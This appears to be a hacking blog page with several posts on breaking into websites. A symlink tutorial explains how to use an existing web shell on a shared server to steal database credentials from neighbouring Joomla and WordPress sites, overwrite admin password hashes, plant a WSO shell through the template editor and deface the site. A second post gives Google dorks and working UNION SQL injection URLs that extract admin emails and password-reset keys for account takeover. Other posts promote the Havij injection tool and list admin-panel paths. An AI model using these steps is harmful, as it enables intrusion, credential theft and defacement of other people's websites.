|| How to hack websites using Symlink | Symlink Detailed tutorial ||

What is a symlink?

Well symlink stands for symbolic link or can also be called soft-link, and to best describe it for everyone out there it is like a shortcut in windows now to explain in a bit more detail imagine your on your desktop and you create a shortcut to "C:/" this is essentially like creating a symlink from "/home/userx/www/" to "/"
please note that a shortcut is not the same as a symlink. as windows does also support symlinking I only use them as a reference as they are similar and help explain it for those who may not understand otherwise.

i am making this tutorial for those who have shelled websites and they cant root server as  not all linux boxes can be rooted , also we dont have exploits for all linux kernels.

so here i am gonna show you how to hack websites on a server using symlink ,
but first u will need a shelled website on that server ,thatn only u can do symlink without shell u cant do symlink.

1.) here is my shelled website 

2.)now  here i am not gonna tell you to create two folders and then do symlink here i will use automated symlink script which you can download from here and upload on the shelled website. 

Download Files from here 

and this is how it will look
and now click on symlink bypass 

if it is able to read etc/passwd then u can do symlink on the server but it is not always 100% sure that if it can read /etc pwd then server can be symlinked.
 now a days hostgator ,hostmonster,blue host ..etc  servers are patched to symlink but others are still vulnerable.

3.) now our next step is to find the availbale wordpress and joomla websites on the same server so now we will click on this 
4.) for this tut i will be hacking a joomla site so it will look like this
these all domains which are under domain column are joomla websites on the server.
now as u can see i have my target website of joomla now i will click on config and
then i will be redirected to the symlink shotrcut link of the directories of the target website :D. config file contains the username and password of databse of that website.

5.)now copy these username an password from the config page

          

6.) now in this step you have to upload a database file on ur shelled website
download database file from the download link and upload on the webiste and then acess it will look like this now enter that username and passwrd which u just copied from above config page


and now login

7.)after login you will see this page now u are in databse of your target website bingo :P



8.)click on tables and then in tables u have to find user,admin table as you can see here

9.) now click on data you will see the admin users data like id,username,password emailsetc now clcik on edit

10.)now you will see username and password hash ..in this you can do two things the best one is replace you password hash with that hash or try to decryt that hash i got the decrypted hash on google so no i will know the admin and password of the website its time to login.

11.)now goto target website login page
default adminlogin page for joomla is www.site.com/administrator

12.)Bingo now we hacked a website on that server now its time  upload shell and deface.
this how we upload shell in jomla
goto>tools>template manger> click on any template>edit html now you will see this html code of template to edit.

 13.)now paste your shell's source code here in here i will use 404.php WSO pv8 shell
which is available for u in download file.

after pasting code click on save 

now go to shell directory www.site.com/templates/name_template/index.php
here is our shell 

14.)now i will enter my password in shell then login to shell bingo website  pwned and now u can deface it

this is how you will hack all the website on same server using symlink .
website which u can hack
joomla
wordpress(wp-config) 

v-bulletin forums

...etc

Read More [...]

Posted in Sql injections, symlink, Website hacking

How to hack wordpress website with Sqli vul.+ shell upload+ deface [video]

As requested by few of you i decided to make this small tutorial on how to hack a wordpress site that has an SQLi in plugin.
watch this video tutorial for more help:

So lets begin.
I will use this 0day by JoinSeventh.

First of all we need to find a vulnerable page.
We enter this in Google:

Code:

# Dork 1 (config.php)
inurl:"/wp-content/plugins/hd-webplayer/config.php?id="

# Dork 2 (playlist.php)
inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="

# Dork 3 (General):
inurl:"/wp-content/plugins/hd-webplayer/"

When you found your site you need to find admin email and username.
I will be using this site for example:

Code:

http://www.website.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=3

When i add ' text disappears so it is vulnerable.

NOTE: I will not demonstrate how to SQL inject.

Now we need admin username and email.
We need to inject:

Code:

http://www.website .com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Now we have 2 users.

We pick one and copy his email.
Go to the login page of the site.
It is usually here:

Code:

http://www.site.com/wp-login.php

And press "Lost your password?"

Now you enter either username or email.
We can enter both so it doesnt matter.
I entered email.




Now when you got:

"Check your e-mail for the confirmation link."

It means that reset key is successfully sent.
Now we need to get the activation key.

Go back to the syntax you used for extracting email and username and do this:

Code:

http://www.website .com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Code:

http://www.website .com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_activation_key,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Voila!
Now we just need to reset it.

Go to:

Code:

wp-login.php?action=rp&key=resetkey&login=username

NOTE: Replace key= & login= 

So my link will be:

Enter new password:

Login with new password and shell it.





Download php shell

Read More [...]

Posted in penetration testing, Sql injections, Website hacking

Havij v1.16 Advanced SQL Injection | Free download

Description:

Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.

It can take advantage of a vulnerable web application. By using this software user can perform back-end database fingerprint, retrieve DBMS users and  password hashes, dump tables and columns, fetching data from the database, running SQL  statements and even accessing the underlying file system and executing commands on the  operating system.

The power of Havij that makes it different from similar tools is its injection methods. The success rate is more than 95% at injectiong vulnerable targets using Havij.

The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.

What's New?

• Multithreading
• Oracle Blind injection method.
• Automatic all parameter scan added.
• New blind injection method (no more ? char.)
• Retry for blind injection.
• A new method for tables/columns extraction in mssql blind.
• A WAF bypass method for mysql blind.
• Getting tables and columns even when can not get current database.
• Auto save log.
• bugfix: url encode bug fixed.
• bugfix: trying time based methods when mssql error based and union based fail.
• bugfix: clicking get columns would delete all tables.
• bugfix: reseting time based method delay when applying settings.
• bugfix: Oracle and PostgreSQL detection
  

Click here to get download details 

Read More [...]

Posted in Softwares, Sql injections, Website hacking

How to Add New Adminpanel Finder Dorks To Your Havij | Private admin finder dorks

Admin Panel is the place where the admin of the site login and manages the site or data present in the site. If you got the access to the admin panel then you are able to deface or compromise any data of the particular site you have logged in. But now-a-days finding the admin panel is almost difficult. People use online admin finders or Havij for find the admin panels.

                          

So, Today i will tell you how to find the Admin Panels easily with the latest list of admin panels. I have found this way my own  but only the way not the List. I will use the Havij for my trick. Normally Havij have 300-500 admin list but in my Latest list there are around 1000+ list  .

So, lets begin :-

• First of all download the havij and Admin finder latest list 

  
  admin.%EXT%
  login.htm
  login.html
  login/
  login.%EXT%
  adm/
  admin/
  admin/account.html
  admin/login.html
  admin/login.htm
  admin/home.%EXT%
  admin/controlpanel.html
  admin/controlpanel.htm
  admin/cp.%EXT%
  admin/adminLogin.html
  admin/adminLogin.htm
  admin/admin_login.%EXT%
  admin/controlpanel.%EXT%
  admin/admin-login.%EXT%
  admin-login.%EXT%
  admin/account.%EXT%
  admin/admin.%EXT%
  admin.htm
  admin.html
  adminitem/
  adminitem.%EXT%
  adminitems/
  adminitems.%EXT%
  administrator/
  administrator/login.%EXT%
  administrator.%EXT%
  administration/
  administration.%EXT%
  adminLogin/
  adminlogin.%EXT%
  admin_area/admin.%EXT%
  admin_area/
  admin_area/login.%EXT%
  manager/
  manager.%EXT%
  letmein/
  letmein.%EXT%
  superuser/
  superuser.%EXT%
  access/
  access.%EXT%
  sysadm/
  sysadm.%EXT%
  superman/
  supervisor/
  panel.%EXT%
  control/
  control.%EXT%
  member/
  member.%EXT%
  members/
  members.%EXT%
  user/
  user.%EXT%
  cp/
  uvpanel/
  manage/
  manage.%EXT%
  management/
  management.%EXT%
  signin/
  signin.%EXT%
  log-in/
  log-in.%EXT%
  log_in/
  log_in.%EXT%
  sign_in/
  sign_in.%EXT%
  sign-in/
  sign-in.%EXT%
  users/
  users.%EXT%
  accounts/
  accounts.%EXT%
  wp-login.php
  bb-admin/login.%EXT%
  bb-admin/admin.%EXT%
  bb-admin/admin.html
  administrator/account.%EXT%
  relogin.htm
  relogin.html
  check.%EXT%
  relogin.%EXT%
  blog/wp-login.%EXT%
  user/admin.%EXT%
  users/admin.%EXT%
  registration/
  processlogin.%EXT%
  checklogin.%EXT%
  checkuser.%EXT%
  checkadmin.%EXT%
  isadmin.%EXT%
  authenticate.%EXT%
  authentication.%EXT%
  auth.%EXT%
  authuser.%EXT%
  authadmin.%EXT%
  cp.%EXT%
  modelsearch/login.%EXT%
  moderator.%EXT%
  moderator/
  controlpanel/
  controlpanel.%EXT%
  admincontrol.%EXT%
  adminpanel.%EXT%
  fileadmin/
  fileadmin.%EXT%
  sysadmin.%EXT%
  admin1.%EXT%
  admin1.html
  admin1.htm
  admin2.%EXT%
  admin2.html
  yonetim.%EXT%
  yonetim.html
  yonetici.%EXT%
  yonetici.html
  phpmyadmin/
  myadmin/
  ur-admin.%EXT%
  ur-admin/
  Server.%EXT%
  Server/
  wp-admin/
  administr8.%EXT%
  administr8/
  webadmin/
  webadmin.%EXT%
  administratie/
  admins/
  admins.%EXT%
  administrivia/
  Database_Administration/
  useradmin/
  sysadmins/
  admin1/
  system-administration/
  administrators/
  pgadmin/
  directadmin/
  staradmin/
  ServerAdministrator/
  SysAdmin/
  administer/
  LiveUser_Admin/
  sys-admin/
  typo3/
  panel/
  cpanel/
  cpanel_file/
  platz_login/
  rcLogin/
  blogindex/
  formslogin/
  autologin/
  support_login/
  meta_login/
  manuallogin/
  simpleLogin/
  loginflat/
  utility_login/
  showlogin/
  memlogin/
  login-redirect/
  sub-login/
  wp-login/
  login1/
  dir-login/
  login_db/
  xlogin/
  smblogin/
  customer_login/
  UserLogin/
  login-us/
  acct_login/
  bigadmin/
  project-admins/
  phppgadmin/
  pureadmin/
  sql-admin/
  radmind/
  openvpnadmin/
  wizmysqladmin/
  vadmind/
  ezsqliteadmin/
  hpwebjetadmin/
  newsadmin/
  adminpro/
  Lotus_Domino_Admin/
  bbadmin/
  vmailadmin/
  Indy_admin/
  ccp14admin/
  irc-macadmin/
  banneradmin/
  sshadmin/
  phpldapadmin/
  macadmin/
  administratoraccounts/
  admin4_account/
  admin4_colon/
  radmind-1/
  Super-Admin/
  AdminTools/
  cmsadmin/
  SysAdmin2/
  globes_admin/
  cadmins/
  phpSQLiteAdmin/
  navSiteAdmin/
  server_admin_small/
  logo_sysadmin/
  power_user/
  system_administration/
  ss_vms_admin_sm/
  bb-admin/
  panel-administracion/
  instadmin/
  memberadmin/
  administratorlogin/
  adm.%EXT%
  admin_login.%EXT%
  panel-administracion/login.%EXT%
  pages/admin/admin-login.%EXT%
  pages/admin/
  acceso.%EXT%
  admincp/login.%EXT%
  admincp/
  adminarea/
  admincontrol/
  affiliate.%EXT%
  adm_auth.%EXT%
  memberadmin.%EXT%
  administratorlogin.%EXT%
  modules/admin/
  administrators.%EXT%
  siteadmin/
  siteadmin.%EXT%
  adminsite/
  kpanel/
  vorod/
  vorod.%EXT%
  vorud/
  vorud.%EXT%
  adminpanel/
  PSUser/
  secure/
  webmaster/
  webmaster.%EXT%
  autologin.%EXT%
  userlogin.%EXT%
  admin_area.%EXT%
  cmsadmin.%EXT%
  security/
  usr/
  root/
  secret/
  admin/login.%EXT%
  admin/adminLogin.%EXT%
  moderator.php
  moderator.html
  moderator/login.%EXT%
  moderator/admin.%EXT%
  yonetici.%EXT%
  0admin/
  0manager/
  aadmin/
  cgi-bin/login%EXT%
  login1%EXT%
  login_admin/
  login_admin%EXT%
  login_out/
  login_out%EXT%
  login_user%EXT%
  loginerror/
  loginok/
  loginsave/
  loginsuper/
  loginsuper%EXT%
  login%EXT%
  logout/
  logout%EXT%
  secrets/
  super1/
  super1%EXT%
  super_index%EXT%
  super_login%EXT%
  supermanager%EXT%
  superman%EXT%
  superuser%EXT%
  supervise/
  supervise/Login%EXT%
  super%EXT%
  admin
  adm 
  admincp 
  admcp 
  cp 
  modcp 
  moderatorcp 
  adminare 
  admins 
  cpanel 
  controlpanel
  admin1.php 
  admin1.html 
  admin2.php 
  admin2.html 
  yonetim.php 
  yonetim.html 
  yonetici.php 
  yonetici.html 
  ccms/ 
  ccms/login.php 
  ccms/index.php 
  maintenance/ 
  webmaster/ 
  adm/ 
  configuration/ 
  configure/ 
  websvn/ 
  admin/ 
  admin/account.php 
  admin/account.html 
  admin/index.php 
  admin/index.html 
  admin/login.php 
  admin/login.html 
  admin/home.php 
  admin/controlpanel.html 
  admin/controlpanel.php 
  admin.php 
  admin.html 
  admin/cp.php 
  admin/cp.html 
  cp.php 
  cp.html 
  administrator/ 
  administrator/index.html 
  administrator/index.php 
  administrator/login.html 
  administrator/login.php 
  administrator/account.html 
  administrator/account.php 
  administrator.php 
  administrator.html 
  login.php 
  login.html 
  modelsearch/login.php 
  moderator.php 
  moderator.html 
  moderator/login.php 
  moderator/login.html 
  moderator/admin.php 
  moderator/admin.html 
  moderator/ 
  account.php 
  account.html 
  controlpanel/ 
  controlpanel.php 
  controlpanel.html 
  admincontrol.php 
  admincontrol.html 
  adminpanel.php 
  adminpanel.html 
  admin1.asp 
  admin2.asp 
  yonetim.asp 
  yonetici.asp 
  admin/account.asp 
  admin/index.asp 
  admin/login.asp 
  admin/home.asp 
  admin/controlpanel.asp 
  admin.asp 
  admin/cp.asp 
  cp.asp 
  administrator/index.asp 
  administrator/login.asp 
  administrator/account.asp 
  administrator.asp 
  login.asp 
  modelsearch/login.asp 
  moderator.asp 
  moderator/login.asp 
  moderator/admin.asp 
  account.asp 
  controlpanel.asp 
  admincontrol.asp 
  adminpanel.asp 
  fileadmin/ 
  fileadmin.php 
  fileadmin.asp 
  fileadmin.html 
  administration/ 
  administration.php 
  administration.html 
  sysadmin.php 
  sysadmin.html 
  phpmyadmin/ 
  myadmin/ 
  sysadmin.asp 
  sysadmin/ 
  ur-admin.asp 
  ur-admin.php 
  ur-admin.html 
  ur-admin/ Server.php Server.html Server.asp Server/ 
  wp-admin/ 
  administr8.php 
  administr8.html 
  administr8/ 
  administr8.asp 
  webadmin/ 
  webadmin.php 
  webadmin.asp 
  webadmin.html 
  administratie/ 
  admins/ 
  admins.php 
  admins.asp 
  admins.html 
  administrivia/ Database_Administration/ WebAdmin/ 
  useradmin/ 
  sysadmins/ 
  admin1/ 
  system-administration/ 
  administrators/ 
  pgadmin/ 
  directadmin/ 
  staradmin/ ServerAdministrator/ SysAdmin/ 
  administer/ LiveUser_Admin/ 
  sys-admin/ 
  typo3/ 
  panel/ 
  cpanel/ 
  cPanel/ 
  cpanel_file/ 
  platz_login/ 
  rcLogin/ 
  blogindex/ 
  formslogin/ 
  autologin/ 
  support_login/ 
  meta_login/ 
  manuallogin/ 
  simpleLogin/ 
  loginflat/ 
  utility_login/ 
  showlogin/ 
  memlogin/ 
  members/ 
  login-redirect/ sub-login/ 
  wp-login/ 
  login1/ 
  dir-login/ 
  login_db/ 
  xlogin/ 
  smblogin/ 
  customer_login/ UserLogin/ 
  login-us/ 
  acct_login/ 
  admin_area/ 
  bigadmin/ 
  project-admins/ 
  phppgadmin/ 
  pureadmin/ 
  sql-admin/ 
  radmind/ 
  openvpnadmin/ 
  wizmysqladmin/ 
  vadmind/ 
  ezsqliteadmin/ 
  hpwebjetadmin/ 
  newsadmin/ 
  adminpro/ Lotus_Domino_Admin/ 
  bbadmin/ 
  vmailadmin/ Indy_admin/ 
  ccp14admin/ 
  irc-macadmin/ 
  banneradmin/ 
  sshadmin/ 
  phpldapadmin/ 
  macadmin/ 
  administratoraccounts/ 
  admin4_account/ 
  admin4_colon/ 
  radmind-1/ Super-Admin/ AdminTools/ 
  cmsadmin/ SysAdmin2/ 
  globes_admin/ 
  cadmins/ 
  phpSQLiteAdmin/ 
  navSiteAdmin/ 
  server_admin_small/ 
  logo_sysadmin/ 
  server/ 
  database_administration/ 
  power_user/ 
  system_administration/ 
  ss_vms_admin_sm/ 
  adminarea/ 
  bb-admin/ 
  adminLogin/ 
  panel-administracion/ 
  instadmin/ 
  memberadmin/ 
  administratorlogin/ 
  admin/admin.php 
  admin_area/admin.php 
  admin_area/login.php 
  siteadmin/login.php 
  siteadmin/index.php 
  siteadmin/login.html 
  admin/admin.html 
  admin_area/index.php 
  bb-admin/index.php 
  bb-admin/login.php 
  bb-admin/admin.php 
  admin_area/login.html 
  admin_area/index.html 
  admincp/index.asp 
  admincp/login.asp 
  admincp/index.html 
  webadmin/index.html 
  webadmin/admin.html 
  webadmin/login.html 
  admin/admin_login.html 
  admin_login.html 
  panel-administracion/login.html 
  nsw/admin/login.php 
  webadmin/login.php 
  admin/admin_login.php 
  admin_login.php 
  admin_area/admin.html 
  pages/admin/admin-login.php 
  admin/admin-login.php 
  admin-login.php 
  bb-admin/index.html 
  bb-admin/login.html 
  bb-admin/admin.html 
  admin/home.html 
  pages/admin/admin-login.html 
  admin/admin-login.html 
  admin-login.html 
  admin/adminLogin.html 
  adminLogin.html 
  home.html 
  rcjakar/admin/login.php 
  adminarea/index.html 
  adminarea/admin.html 
  webadmin/index.php 
  webadmin/admin.php 
  user.html 
  modelsearch/login.html 
  adminarea/login.html 
  panel-administracion/index.html 
  panel-administracion/admin.html 
  modelsearch/index.html 
  modelsearch/admin.html 
  admincontrol/login.html 
  adm/index.html 
  adm.html 
  user.php 
  panel-administracion/login.php 
  wp-login.php 
  adminLogin.php 
  admin/adminLogin.php 
  home.php 
  adminarea/index.php 
  adminarea/admin.php 
  adminarea/login.php 
  panel-administracion/index.php 
  panel-administracion/admin.php 
  modelsearch/index.php 
  modelsearch/admin.php 
  admincontrol/login.php 
  adm/admloginuser.php 
  admloginuser.php 
  admin2/login.php 
  admin2/index.php 
  adm/index.php 
  adm.php 
  affiliate.php 
  adm_auth.php 
  memberadmin.php 
  administratorlogin.php 
  admin/admin.asp 
  admin_area/admin.asp 
  admin_area/login.asp 
  admin_area/index.asp 
  bb-admin/index.asp 
  bb-admin/login.asp 
  bb-admin/admin.asp 
  pages/admin/admin-login.asp 
  admin/admin-login.asp 
  admin-login.asp 
  user.asp 
  webadmin/index.asp 
  webadmin/admin.asp 
  webadmin/login.asp 
  admin/admin_login.asp 
  admin_login.asp 
  panel-administracion/login.asp 
  adminLogin.asp 
  admin/adminLogin.asp 
  home.asp 
  adminarea/index.asp 
  adminarea/admin.asp 
  adminarea/login.asp 
  panel-administracion/index.asp 
  panel-administracion/admin.asp 
  modelsearch/index.asp 
  modelsearch/admin.asp 
  admincontrol/login.asp 
  adm/admloginuser.asp 
  admloginuser.asp 
  admin2/login.asp 
  admin2/index.asp 
  adm/index.asp 
  adm.asp 
  affiliate.asp 
  adm_auth.asp 
  memberadmin.asp 
  administratorlogin.asp 
  siteadmin/login.asp 
  siteadmin/index.asp 
  ADMIN/ 
  paneldecontrol/ 
  login/ 
  cms/ 
  admon/ 
  ADMON/ 
  administrador/ 
  ADMIN/login.php 
  panelc/ 
  ADMIN/login.html 
  admin. 
  login.htm 
  login. 
  admin/login.htm 
  admin/home. 
  admin/controlpanel.htm 
  admin/cp. 
  admin/adminLogin.htm 
  admin/admin_login. 
  admin/controlpanel. 
  admin/admin-login. 
  admin-login. 
  admin/account. 
  admin/admin. 
  admin.htm 
  adminitem/ 
  adminitem. 
  adminitems/ 
  adminitems. 
  administrator/login. 
  administrator. 
  administration. 
  adminlogin. 
  admin_area/admin. 
  admin_area/login. 
  manager/ 
  manager. 
  letmein/ 
  letmein. 
  superuser/ 
  superuser. 
  access/ 
  access. 
  sysadm/ 
  sysadm. 
  superman/ 
  supervisor/ 
  panel. 
  control/ 
  control. 
  member/ 
  member. 
  members. 
  user/ 
  user. 
  cp/ 
  uvpanel/ 
  manage/ 
  manage. 
  management/ 
  management. 
  signin/ 
  signin. 
  log-in/ 
  log-in. 
  log_in/ 
  log_in. 
  sign_in/ 
  sign_in. 
  sign-in/ 
  sign-in. 
  users/ 
  users. 
  accounts/ 
  accounts. 
  bb-admin/login. 
  bb-admin/admin. 
  administrator/account. 
  relogin.htm 
  relogin.html 
  check. 
  relogin. 
  blog/wp-login. 
  user/admin. 
  users/admin. 
  registration/ 
  processlogin. 
  checklogin. 
  checkuser. 
  checkadmin. 
  isadmin. 
  authenticate. 
  authentication. 
  auth. 
  authuser. 
  authadmin. 
  cp. 
  modelsearch/login. 
  moderator. 
  controlpanel. 
  admincontrol. 
  adminpanel. 
  fileadmin. 
  sysadmin. 
  admin1. 
  admin1.htm 
  admin2. 
  yonetim. 
  yonetici. 
  ur-admin. Server. 
  administr8. 
  webadmin. 
  admins. 
  adm. 
  admin_login. 
  panel-administracion/login. 
  pages/admin/admin-login. 
  pages/admin/ 
  acceso. 
  admincp/login. 
  admincp/ 
  admincontrol/ 
  affiliate. 
  adm_auth. 
  memberadmin. 
  administratorlogin. 
  modules/admin/ 
  administrators. 
  siteadmin/ 
  siteadmin. 
  adminsite/ 
  kpanel/ 
  vorod/ 
  vorod. 
  vorud/ 
  vorud. 
  adminpanel/ PSUser/ 
  secure/ 
  webmaster. 
  autologin. 
  userlogin. 
  admin_area. 
  cmsadmin. 
  security/ 
  usr/ 
  root/ 
  secret/ 
  admin/login. 
  admin/adminLogin. 
  moderator/login. 
  moderator/admin. 0admin/ 0manager/ 
  aadmin/ 
  cgi-bin/login 
  login1 
  login_admin/ 
  login_admin 
  login_out/ 
  login_out 
  login_user 
  loginerror/ 
  loginok/ 
  loginsave/ 
  loginsuper/ 
  loginsuper 
  login 
  logout/ 
  logout 
  secrets/ 
  super1/ 
  super1 
  super_index 
  super_login 
  supermanager 
  superman 
  superuser 
  supervise/ 
  supervise/Login super
  admin.%EXT%
  login.%EXT%
  login/
  adm/
  admin/
  admincp/
  modcp/
  administrator.php/
  moderator.php/
  cms/
  admin/account.%EXT%
  admin/login.%EXT%
  admin/home.%EXT%
  admin/controlpanel.%EXT%
  admin/cp.%EXT%
  admin/adminLogin.%EXT%
  admin/admin_login.%EXT%
  admin/admin-login.%EXT%
  admin-login.%EXT%
  admin/admin.%EXT%
  adminitem/
  adminitem.%EXT%
  adminitems/
  adminitems.%EXT%
  administrator/
  administrator/login.%EXT%
  administrator.%EXT%
  administration/
  administration.%EXT%
  adminLogin/
  adminlogin.%EXT%
  admin_area/admin.%EXT%
  admin_area/
  admin_area/login.%EXT%
  manager/
  manager.%EXT%
  letmein/
  letmein.%EXT%
  superuser/
  superuser.%EXT%
  access/
  access.%EXT%
  sysadm/
  sysadm.%EXT%
  superman/
  supervisor/
  panel.%EXT%
  control/
  control.%EXT%
  member/
  member.%EXT%
  members/
  members.%EXT%
  user/
  user.%EXT%
  cp/
  uvpanel/
  manage/
  manage.%EXT%
  management/
  management.%EXT%
  signin/
  signin.%EXT%
  log-in/
  log-in.%EXT%
  log_in/
  log_in.%EXT%
  sign_in/
  sign_in.%EXT%
  sign-in/
  sign-in.%EXT%
  users/
  users.%EXT%
  accounts/
  accounts.%EXT%
  wp-login.php
  bb-admin/login.%EXT%
  bb-admin/admin.%EXT%
  administrator/account.%EXT%
  relogin.%EXT%
  check.%EXT%
  blog/wp-login.%EXT%
  user/admin.%EXT%
  users/admin.%EXT%
  registration/
  processlogin.%EXT%
  checklogin.%EXT%
  checkuser.%EXT%
  checkadmin.%EXT%
  isadmin.%EXT%
  authenticate.%EXT%
  authentication.%EXT%
  auth.%EXT%
  authuser.%EXT%
  authadmin.%EXT%
  cp.%EXT%
  modelsearch/login.%EXT%
  moderator.%EXT%
  moderator/
  controlpanel/
  controlpanel.%EXT%
  admincontrol.%EXT%
  adminpanel.%EXT%
  fileadmin/
  fileadmin.%EXT%
  sysadmin.%EXT%
  admin1.%EXT%
  admin2.%EXT%
  yonetim.%EXT%
  yonetici.%EXT%
  phpmyadmin/
  myadmin/
  ur-admin.%EXT%
  ur-admin/
  Server.%EXT%
  Server/
  wp-admin/
  administr8.%EXT%
  administr8/
  webadmin/
  webadmin.%EXT%
  administratie/
  admins/
  admins.%EXT%
  administrivia/
  Database_Administration/
  useradmin/
  sysadmins/
  admin1/
  system-administration/
  administrators/
  pgadmin/
  directadmin/
  staradmin/
  ServerAdministrator/
  SysAdmin/
  administer/
  LiveUser_Admin/
  sys-admin/
  typo3/
  panel/
  cpanel/
  cpanel_file/
  platz_login/
  rcLogin/
  blogindex/
  formslogin/
  autologin/
  support_login/
  meta_login/
  manuallogin/
  simpleLogin/
  loginflat/
  utility_login/
  showlogin/
  memlogin/
  login-redirect/
  sub-login/
  wp-login/
  login1/
  dir-login/
  login_db/
  xlogin/
  smblogin/
  customer_login/
  UserLogin/
  login-us/
  acct_login/
  bigadmin/
  project-admins/
  phppgadmin/
  pureadmin/
  sql-admin/
  radmind/
  openvpnadmin/
  wizmysqladmin/
  vadmind/
  ezsqliteadmin/
  hpwebjetadmin/
  newsadmin/
  adminpro/
  Lotus_Domino_Admin/
  bbadmin/
  vmailadmin/
  Indy_admin/
  ccp14admin/
  irc-macadmin/
  banneradmin/
  sshadmin/
  phpldapadmin/
  macadmin/
  administratoraccounts/
  admin4_account/
  admin4_colon/
  radmind-1/
  Super-Admin/
  AdminTools/
  cmsadmin/
  SysAdmin2/
  globes_admin/
  cadmins/
  phpSQLiteAdmin/
  navSiteAdmin/
  server_admin_small/
  logo_sysadmin/
  power_user/
  system_administration/
  ss_vms_admin_sm/
  bb-admin/
  panel-administracion/
  instadmin/
  memberadmin/
  administratorlogin/
  adm.%EXT%
  admin_login.%EXT%
  panel-administracion/login.%EXT%
  pages/admin/admin-login.%EXT%
  pages/admin/
  acceso.%EXT%
  admincp/login.%EXT%
  adminarea/
  admincontrol/
  affiliate.%EXT%
  adm_auth.%EXT%
  memberadmin.%EXT%
  administratorlogin.%EXT%
  modules/admin/
  administrators.%EXT%
  siteadmin/
  siteadmin.%EXT%
  adminsite/
  kpanel/
  vorod/
  vorod.%EXT%
  vorud/
  vorud.%EXT%
  adminpanel/
  PSUser/
  secure/
  webmaster/
  webmaster.%EXT%
  autologin.%EXT%
  userlogin.%EXT%
  admin_area.%EXT%
  cmsadmin.%EXT%
  security/
  usr/
  root/
  secret/
  moderator/login.%EXT%
  moderator/admin.%EXT%
  0admin/
  0manager/
  aadmin/
  cgi-bin/login%EXT%
  login1%EXT%
  login_admin/
  login_admin%EXT%
  login_out/
  login_out%EXT%
  login_user%EXT%
  loginerror/
  loginok/
  loginsave/
  loginsuper/
  loginsuper%EXT%
  login%EXT%
  logout/
  logout%EXT%
  secrets/
  super1/
  super1%EXT%
  super_index%EXT%
  super_login%EXT%
  supermanager%EXT%
  superman%EXT%
  superuser%EXT%
  supervise/
  supervise/Login%EXT%
  super%EXT%

• Now after getting the List and the Havij. Install the Havij and open it�s directory that is C:\Program Files\Havij .
• Now there You will see the admins.txt document . Note :- You can�t edit the admins.txt in that folder.
• Create the new file name admins.txt save it on the desktop remember admins.txt that is created by should have the list of the admin panels that i have given you in the starting.
• Delete or cut the admins.txt from the Havij folder and paste yours admins.txt .
• Now open Havij click on Find Admin start finding the admin panels by 1000+ list of Admin panel links.

So by this trick we can find the admin panel easily because at the starting we have only 500 but now we have 1000+ list    in havij.

Read More [...]

Posted in Sql injections, Website hacking